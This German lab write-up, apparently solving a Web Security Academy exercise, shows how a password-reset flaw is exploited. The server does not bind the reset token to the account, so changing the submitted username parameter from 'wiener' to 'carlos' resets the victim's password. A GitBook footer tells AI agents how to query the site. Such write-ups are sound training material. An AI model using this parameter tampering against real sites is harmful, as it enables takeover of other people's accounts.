> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/authentication/flawed-password-reset-logic.md).

# Fehlerhafte Logik beim Zurücksetzen des Passworts

### Fehlerhafte Logik beim Zurücksetzen des Passworts

Das Labor stellt eine Schwachstelle im Mechanismus zum Zurücksetzen des Passworts dar. Das Ziel ist es, das Passwort für **Carlos** zurückzusetzen und dann auf die Seite „Mein Konto“ zuzugreifen. / Angegebener Bezeichner:

* **wiener:peter**
* Name des Opfers: **carlos**

### Analyse und Schritte

#### 1. Funktion „Passwort vergessen“

Die Anwendung bietet eine Wiederherstellungsfunktion über „Passwort vergessen“ an.

<figure><img src="/files/2237e0852496ba49276fcaa4a0d9d1a1c7692f95" alt="" width="436"><figcaption></figcaption></figure>

In diesem Abschnitt ist es möglich, die mit dem Konto verknüpfte E-Mail-Adresse zu ändern

<figure><img src="/files/6183065574082c1700ebab5c986c04fcec3e1623" alt="" width="563"><figcaption></figcaption></figure>

#### 2. Empfang der E-Mail zum Zurücksetzen

<figure><img src="/files/d0456544a8c67e4699ed0d54ac85a1c7f46e8998" alt=""><figcaption></figcaption></figure>

Sobald die E-Mail geändert wurde, wird eine Nachricht mit einem Link zum Zurücksetzen gesendet. / Die E-Mail enthält ein temporäres **Token** in der URL:

```http
Gesendet:     2025-12-09 19:42:17 +0000
Von:     "No reply" <no-reply@0ae200710383c04f868b0866005e0000.web-security-academy.net>
An:       wiener@exploit-0a46000003d9c0a086ee072901710023.exploit-server.net
Betreff:  Kontowiederherstellung

Hallo!

Bitte folgen Sie dem untenstehenden Link, um Ihr Passwort zurückzusetzen.

https://0ae200710383c04f868b0866005e0000.web-security-academy.net/forgot-password?temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj

Danke,
Support-Team
```

#### 3. Formulareinsendung

Beim Aufrufen dieses Links fordert die Anwendung dazu auf, ein neues Passwort einzugeben. / Die gesendeten Parameter ähneln Folgendem:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=wiener
new-password-1=test
new-password-2=test
```

<figure><img src="/files/d6278cf2b9f5e3308b850f39410405343d9c0b48" alt=""><figcaption></figcaption></figure>

#### 4. Ausnutzung der fehlerhaften Logik

Der Server prüft nicht **nicht** ob das Token tatsächlich zum in der Anfrage genannten Benutzer passt. / Ersetzen Sie einfach das Feld **username=wiener** durch **username=carlos**:

```bash
temp-forgot-password-token=nec3070jgtmwcvnxt5b0ipmdh9746umj
username=carlos
new-password-1=test
new-password-2=test
```

Die Anwendung akzeptiert die Anfrage, wodurch ein neues Passwort für Carlos festgelegt werden kann.

<figure><img src="/files/d466d7d54cceaa2da1ee44978e8f8876654b4b66" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/authentication/flawed-password-reset-logic.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
